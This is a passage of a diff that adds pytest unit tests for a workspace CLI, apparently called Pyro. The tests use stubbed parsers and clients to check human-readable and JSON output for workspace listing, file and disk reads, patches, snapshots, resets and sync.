workspace_id=workspace-123 sequence=2 cwd=/workspace" in captured.err + + +def test_print_workspace_summary_human_handles_last_command_and_secret_filtering( + capsys: pytest.CaptureFixture[str], +) -> None: + cli._print_workspace_summary_human( + { + "workspace_id": "workspace-123", + "labels": {"owner": "codex"}, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "last_activity_at": 123.0, + "network_policy": "off", + "workspace_seed": {"mode": "directory", "seed_path": "/tmp/repo"}, + "secrets": ["ignored", {"name": "API_TOKEN", "source_kind": "literal"}], + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 2, + "reset_count": 0, + "service_count": 1, + "running_service_count": 1, + "last_command": {"command": "pytest", "exit_code": 0}, + }, + action="Workspace", + ) + output = capsys.readouterr().out + assert "Secrets: API_TOKEN (literal)" in output + assert "Last command: pytest (exit_code=0)" in output + + +def test_cli_workspace_list_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_workspaces(self) -> dict[str, Any]: + return { + "count": 1, + "workspaces": [ + { + "workspace_id": "workspace-123", + "name": "repro-fix", + "labels": {"issue": "123", "owner": "codex"}, + "environment": "debian:12", + "state": "started", + "created_at": 100.0, + "last_activity_at": 200.0, + "expires_at": 700.0, + "command_count": 2, + "service_count": 1, + "running_service_count": 1, + } + ], + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="list", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "workspace_id=workspace-123" in output + assert "name='repro-fix'" in output + assert "labels=issue=123,owner=codex" in output + + +def test_print_workspace_list_human_skips_non_dict_entries( + capsys: pytest.CaptureFixture[str], +) -> None: + cli._print_workspace_list_human( + { + "workspaces": [ + "ignored", + { + "workspace_id": "workspace-123", + "state": "started", + "environment": "debian:12", + "last_activity_at": 200.0, + "expires_at": 700.0, + "command_count": 2, + "service_count": 1, + "running_service_count": 1, + }, + ] + } + ) + output = capsys.readouterr().out + assert "workspace_id=workspace-123" in output + assert "ignored" not in output + + +def test_cli_workspace_list_prints_empty_state( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_workspaces(self) -> dict[str, Any]: + return {"count": 0, "workspaces": []} + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="list", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + assert capsys.readouterr().out.strip() == "No workspaces." + + +def test_cli_workspace_update_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert kwargs["name"] == "retry-run" + assert kwargs["clear_name"] is False + assert kwargs["labels"] == {"issue": "124", "owner": "codex"} + assert kwargs["clear_labels"] == ["stale"] + return { + "workspace_id": workspace_id, + "name": "retry-run", + "labels": {"issue": "124", "owner": "codex"}, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="update", + workspace_id="workspace-123", + name="retry-run", + clear_name=False, + label=["issue=124", "owner=codex"], + clear_label=["stale"], + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["workspace_id"] == "workspace-123" + + +def test_cli_workspace_update_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def update_workspace(self, workspace_id: str, **kwargs: Any) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert kwargs["name"] is None + assert kwargs["clear_name"] is True + assert kwargs["labels"] == {"owner": "codex"} + assert kwargs["clear_labels"] is None + return { + "workspace_id": workspace_id, + "name": None, + "labels": {"owner": "codex"}, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "last_activity_at": 123.0, + "network_policy": "off", + "workspace_seed": {"mode": "empty", "seed_path": None}, + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 0, + "reset_count": 0, + "service_count": 0, + "running_service_count": 0, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="update", + workspace_id="workspace-123", + name=None, + clear_name=True, + label=["owner=codex"], + clear_label=[], + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Workspace ID: workspace-123" in output + assert "Labels: owner=codex" in output + assert "Last activity at: 123.0" in output + + +def test_cli_workspace_export_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert output_path == "./note.txt" + return { + "workspace_id": workspace_id, + "workspace_path": "/workspace/note.txt", + "output_path": "/tmp/note.txt", + "artifact_type": "file", + "entry_count": 1, + "bytes_written": 6, + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="export", + workspace_id="workspace-123", + path="note.txt", + output="./note.txt", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-export] workspace_id=workspace-123" in output + assert "artifact_type=file" in output + + +def test_cli_workspace_file_commands_print_human_and_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def list_workspace_files( + self, + workspace_id: str, + *, + path: str, + recursive: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "/workspace/src" + assert recursive is True + return { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + "entries": [ + { + "path": "/workspace/src/app.py", + "artifact_type": "file", + "size_bytes": 14, + "link_target": None, + } + ], + "execution_mode": "guest_vsock", + } + + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "src/app.py" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/src/app.py", + "size_bytes": 14, + "max_bytes": max_bytes, + "content": "print('hi')\n", + "truncated": False, + "execution_mode": "guest_vsock", + } + + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "src/app.py" + assert text == "print('hello')\n" + return { + "workspace_id": workspace_id, + "path": "/workspace/src/app.py", + "size_bytes": len(text.encode("utf-8")), + "bytes_written": len(text.encode("utf-8")), + "execution_mode": "guest_vsock", + } + + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert patch.startswith("--- a/src/app.py") + return { + "workspace_id": workspace_id, + "changed": True, + "summary": {"total": 1, "added": 0, "modified": 1, "deleted": 0}, + "entries": [{"path": "/workspace/src/app.py", "status": "modified"}], + "patch": patch, + "execution_mode": "guest_vsock", + } + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="list", + workspace_id="workspace-123", + path="/workspace/src", + recursive=True, + json=False, + ) + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="read", + workspace_id="workspace-123", + path="src/app.py", + max_bytes=4096, + json=True, + ) + + class WriteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="write", + workspace_id="workspace-123", + path="src/app.py", + text="print('hello')\n", + json=False, + ) + + class PatchParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="patch", + workspace_patch_command="apply", + workspace_id="workspace-123", + patch=( + "--- a/src/app.py\n" + "+++ b/src/app.py\n" + "@@ -1 +1 @@\n" + "-print('hi')\n" + "+print('hello')\n" + ), + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + cli.main() + list_output = capsys.readouterr().out + assert "Workspace path: /workspace/src (recursive=yes)" in list_output + assert "/workspace/src/app.py [file]" in list_output + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + read_payload = json.loads(capsys.readouterr().out) + assert read_payload["path"] == "/workspace/src/app.py" + assert read_payload["content"] == "print('hi')\n" + + monkeypatch.setattr(cli, "_build_parser", lambda: WriteParser()) + cli.main() + write_output = capsys.readouterr().out + assert "[workspace-file-write] workspace_id=workspace-123" in write_output + + monkeypatch.setattr(cli, "_build_parser", lambda: PatchParser()) + cli.main() + patch_output = capsys.readouterr().out + assert "[workspace-patch] workspace_id=workspace-123 total=1" in patch_output + + +def test_cli_workspace_file_write_reads_text_file( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + tmp_path: Path, +) -> None: + source_path = tmp_path / "app.py" + source_path.write_text("print('from file')\n", encoding="utf-8") + + class StubPyro: + def write_workspace_file( + self, + workspace_id: str, + path: str, + *, + text: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "src/app.py" + assert text == "print('from file')\n" + return { + "workspace_id": workspace_id, + "path": "/workspace/src/app.py", + "size_bytes": len(text.encode("utf-8")), + "bytes_written": len(text.encode("utf-8")), + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="write", + workspace_id="workspace-123", + path="src/app.py", + text=None, + text_file=str(source_path), + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-file-write] workspace_id=workspace-123" in output + + +def test_cli_workspace_patch_apply_reads_patch_file( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], + tmp_path: Path, +) -> None: + patch_path = tmp_path / "fix.patch" + patch_text = "--- a/src/app.py\n+++ b/src/app.py\n@@ -1 +1 @@\n-print('hi')\n+print('hello')\n" + patch_path.write_text(patch_text, encoding="utf-8") + + class StubPyro: + def apply_workspace_patch( + self, + workspace_id: str, + *, + patch: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert patch == patch_text + return { + "workspace_id": workspace_id, + "changed": True, + "summary": {"total": 1, "added": 0, "modified": 1, "deleted": 0}, + "entries": [{"path": "/workspace/src/app.py", "status": "modified"}], + "patch": patch, + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="patch", + workspace_patch_command="apply", + workspace_id="workspace-123", + patch=None, + patch_file=str(patch_path), + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-patch] workspace_id=workspace-123 total=1" in output + + +def test_cli_workspace_stop_and_start_print_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "environment": "debian:12", + "state": "stopped", + "workspace_path": "/workspace", + "network_policy": "off", + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 2, + "reset_count": 0, + "service_count": 0, + "running_service_count": 0, + } + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "environment": "debian:12", + "state": "started", + "workspace_path": "/workspace", + "network_policy": "off", + "execution_mode": "guest_vsock", + "vcpu_count": 1, + "mem_mib": 1024, + "command_count": 2, + "reset_count": 0, + "service_count": 0, + "running_service_count": 0, + } + + class StopParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="stop", + workspace_id="workspace-123", + json=False, + ) + + class StartParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="start", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StopParser()) + cli.main() + stopped_output = capsys.readouterr().out + assert "Stopped workspace ID: workspace-123" in stopped_output + + monkeypatch.setattr(cli, "_build_parser", lambda: StartParser()) + cli.main() + started_output = capsys.readouterr().out + assert "Started workspace ID: workspace-123" in started_output + + +def test_cli_workspace_disk_commands_print_human_and_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def export_workspace_disk( + self, + workspace_id: str, + *, + output_path: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert output_path == "./workspace.ext4" + return { + "workspace_id": workspace_id, + "output_path": "/tmp/workspace.ext4", + "disk_format": "ext4", + "bytes_written": 8192, + } + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str, + recursive: bool, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "/workspace" + assert recursive is True + return { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + "entries": [ + { + "path": "/workspace/note.txt", + "artifact_type": "file", + "size_bytes": 6, + "link_target": None, + } + ], + } + + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 6, + "max_bytes": max_bytes, + "content": "hello\n", + "truncated": False, + } + + class ExportParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="export", + workspace_id="workspace-123", + output="./workspace.ext4", + json=False, + ) + + class ListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="list", + workspace_id="workspace-123", + path="/workspace", + recursive=True, + json=False, + ) + + class ReadParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + json=True, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + + monkeypatch.setattr(cli, "_build_parser", lambda: ExportParser()) + cli.main() + export_output = capsys.readouterr().out + assert "[workspace-disk-export] workspace_id=workspace-123" in export_output + + monkeypatch.setattr(cli, "_build_parser", lambda: ListParser()) + cli.main() + list_output = capsys.readouterr().out + assert "Workspace disk path: /workspace" in list_output + assert "/workspace/note.txt [file]" in list_output + + monkeypatch.setattr(cli, "_build_parser", lambda: ReadParser()) + cli.main() + read_payload = json.loads(capsys.readouterr().out) + assert read_payload["path"] == "/workspace/note.txt" + assert read_payload["content"] == "hello\n" + + +def test_cli_workspace_file_read_human_separates_summary_from_content( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=False, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello\n" + assert "[workspace-file-read] workspace_id=workspace-123" in captured.err + + +def test_cli_workspace_file_read_content_only_suppresses_summary( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_file( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="file", + workspace_file_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=True, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello" + assert captured.err == "" + + +def test_cli_workspace_disk_read_human_separates_summary_from_content( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert max_bytes == 4096 + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=False, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello\n" + assert "[workspace-disk-read] workspace_id=workspace-123" in captured.err + + +def test_cli_workspace_disk_read_content_only_suppresses_summary( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def read_workspace_disk( + self, + workspace_id: str, + path: str, + *, + max_bytes: int, + ) -> dict[str, Any]: + return { + "workspace_id": workspace_id, + "path": "/workspace/note.txt", + "size_bytes": 5, + "max_bytes": max_bytes, + "content": "hello", + "truncated": False, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="disk", + workspace_disk_command="read", + workspace_id="workspace-123", + path="note.txt", + max_bytes=4096, + content_only=True, + json=False, + ) + + monkeypatch.setattr(cli, "Pyro", StubPyro) + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + + cli.main() + captured = capsys.readouterr() + assert captured.out == "hello" + assert captured.err == "" + + +def test_cli_workspace_diff_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "changed": True, + "summary": { + "total": 1, + "added": 0, + "modified": 1, + "deleted": 0, + "type_changed": 0, + "text_patched": 1, + "non_text": 0, + }, + "entries": [ + { + "path": "note.txt", + "status": "modified", + "artifact_type": "file", + "text_patch": "--- a/note.txt\n+++ b/note.txt\n", + } + ], + "patch": "--- a/note.txt\n+++ b/note.txt\n", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="diff", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-diff] workspace_id=workspace-123 total=1 added=0 modified=1" in output + assert "--- a/note.txt" in output + + +def test_cli_workspace_snapshot_create_list_delete_and_reset_prints_json( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot": { + "snapshot_name": snapshot_name, + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + }, + } + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "count": 2, + "snapshots": [ + { + "snapshot_name": "baseline", + "kind": "baseline", + "entry_count": 1, + "bytes_written": 10, + "deletable": False, + }, + { + "snapshot_name": "checkpoint", + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + "deletable": True, + }, + ], + } + + def reset_workspace(self, workspace_id: str, *, snapshot: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot == "checkpoint" + return { + "workspace_id": workspace_id, + "state": "started", + "workspace_path": "/workspace", + "reset_count": 2, + "workspace_reset": { + "snapshot_name": snapshot, + "kind": "named", + "destination": "/workspace", + "entry_count": 3, + "bytes_written": 42, + }, + } + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot_name": snapshot_name, + "deleted": True, + } + + class SnapshotCreateParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="create", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotCreateParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + created = json.loads(capsys.readouterr().out) + assert created["snapshot"]["snapshot_name"] == "checkpoint" + + class SnapshotListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="list", + workspace_id="workspace-123", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotListParser()) + cli.main() + listed = json.loads(capsys.readouterr().out) + assert listed["count"] == 2 + + class ResetParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="reset", + workspace_id="workspace-123", + snapshot="checkpoint", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: ResetParser()) + cli.main() + reset = json.loads(capsys.readouterr().out) + assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" + + class SnapshotDeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="delete", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotDeleteParser()) + cli.main() + deleted = json.loads(capsys.readouterr().out) + assert deleted["deleted"] is True + + +def test_cli_workspace_reset_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def reset_workspace(self, workspace_id: str, *, snapshot: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot == "baseline" + return { + "workspace_id": workspace_id, + "state": "started", + "environment": "debian:12", + "workspace_path": "/workspace", + "workspace_seed": { + "mode": "directory", + "seed_path": "/tmp/repo", + "destination": "/workspace", + "entry_count": 1, + "bytes_written": 4, + }, + "execution_mode": "guest_vsock", + "command_count": 0, + "service_count": 0, + "running_service_count": 0, + "reset_count": 3, + "last_reset_at": 123.0, + "workspace_reset": { + "snapshot_name": "baseline", + "kind": "baseline", + "destination": "/workspace", + "entry_count": 1, + "bytes_written": 4, + }, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="reset", + workspace_id="workspace-123", + snapshot="baseline", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "Reset source: baseline (baseline)" in output + assert "Reset count: 3" in output + + +def test_cli_workspace_snapshot_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot": { + "snapshot_name": snapshot_name, + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + }, + } + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "count": 2, + "snapshots": [ + { + "snapshot_name": "baseline", + "kind": "baseline", + "entry_count": 1, + "bytes_written": 10, + "deletable": False, + }, + { + "snapshot_name": "checkpoint", + "kind": "named", + "entry_count": 3, + "bytes_written": 42, + "deletable": True, + }, + ], + } + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert snapshot_name == "checkpoint" + return { + "workspace_id": workspace_id, + "snapshot_name": snapshot_name, + "deleted": True, + } + + class SnapshotCreateParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="create", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotCreateParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + create_output = capsys.readouterr().out + assert "[workspace-snapshot-create] workspace_id=workspace-123" in create_output + assert "snapshot_name=checkpoint kind=named" in create_output + + class SnapshotListParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="list", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotListParser()) + cli.main() + list_output = capsys.readouterr().out + assert "baseline [baseline]" in list_output + assert "checkpoint [named]" in list_output + + class SnapshotDeleteParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="delete", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: SnapshotDeleteParser()) + cli.main() + delete_output = capsys.readouterr().out + assert "Deleted workspace snapshot: checkpoint" in delete_output + + +def test_cli_workspace_snapshot_error_paths( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def create_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + del workspace_id, snapshot_name + raise RuntimeError("create boom") + + def list_snapshots(self, workspace_id: str) -> dict[str, Any]: + del workspace_id + raise RuntimeError("list boom") + + def delete_snapshot(self, workspace_id: str, snapshot_name: str) -> dict[str, Any]: + del workspace_id, snapshot_name + raise RuntimeError("delete boom") + + def _run(args: argparse.Namespace) -> tuple[str, str]: + class StubParser: + def parse_args(self) -> argparse.Namespace: + return args + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + with pytest.raises(SystemExit, match="1"): + cli.main() + captured = capsys.readouterr() + return captured.out, captured.err + + out, err = _run( + argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="create", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=True, + ) + ) + assert json.loads(out)["error"] == "create boom" + assert err == "" + + out, err = _run( + argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="list", + workspace_id="workspace-123", + json=False, + ) + ) + assert out == "" + assert "[error] list boom" in err + + out, err = _run( + argparse.Namespace( + command="workspace", + workspace_command="snapshot", + workspace_snapshot_command="delete", + workspace_id="workspace-123", + snapshot_name="checkpoint", + json=False, + ) + ) + assert out == "" + assert "[error] delete boom" in err + + +def test_cli_workspace_sync_push_prints_json( + monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] +) -> None: + class StubPyro: + def push_workspace_sync( + self, + workspace_id: str, + source_path: str, + *, + dest: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert source_path == "./repo" + assert dest == "src" + return { + "workspace_id": workspace_id, + "execution_mode": "guest_vsock", + "workspace_sync": { + "mode": "directory", + "source_path": "/tmp/repo", + "destination": "/workspace/src", + "entry_count": 2, + "bytes_written": 12, + }, + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="sync", + workspace_sync_command="push", + workspace_id="workspace-123", + source_path="./repo", + dest="src", + json=True, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = json.loads(capsys.readouterr().out) + assert output["workspace_sync"]["destination"] == "/workspace/src" + + +def test_cli_workspace_sync_push_prints_human( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def push_workspace_sync( + self, + workspace_id: str, + source_path: str, + *, + dest: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert source_path == "./repo" + assert dest == "/workspace" + return { + "workspace_id": 